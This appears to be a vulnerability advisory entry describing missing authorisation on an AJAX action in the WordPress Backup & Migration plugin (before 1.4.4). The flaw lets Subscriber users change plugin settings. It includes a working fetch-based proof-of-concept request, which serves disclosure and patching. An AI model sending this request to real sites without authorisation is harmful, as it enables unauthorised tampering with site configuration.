WordPress Plugin Vulnerabilities
WordPress Backup & Migration < 1.4.4 - Subscriber+ Plugin Settings Update
Description
The plugin does not authorize some AJAX requests, allowing users with a role as low as Subscriber to update some plugin settings.
Proof of Concept
fetch("/wp-admin/admin-ajax.php", { "headers": { "content-type": "application/x-www-form-urlencoded; charset=UTF-8", }, "body": "settings_data%5Bim_data_size_per_req%5D=100&settings_data%5Bim_db_file_per_req%5D=200&action=mgdp_plugin_save_import_settings", "method": "POST", "mode": "cors", "credentials": "include" }); Open http://127.0.0.1:8001/wp-admin/admin.php?page=wp-migration-duplicator#wt-mgdp-import and click on Advanced Options to see the updated settings.
Affects Plugins
References
CVE
Classification
Type
NO AUTHORISATION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Krzysztof Zając (CERT PL)
Submitter
Krzysztof Zając (CERT PL)
Submitter website
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-11-06 (about 6 months ago)
Added
2023-11-06 (about 6 months ago)
Last Updated
2023-11-06 (about 6 months ago)